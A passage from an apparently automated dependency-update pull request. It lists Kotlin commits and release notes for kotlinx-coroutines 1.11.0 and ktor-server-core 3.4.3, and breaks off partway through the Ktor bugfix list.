href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.10...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-slf4j` from 1.10.2 to 1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-slf4j's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-slf4j's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-core` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is 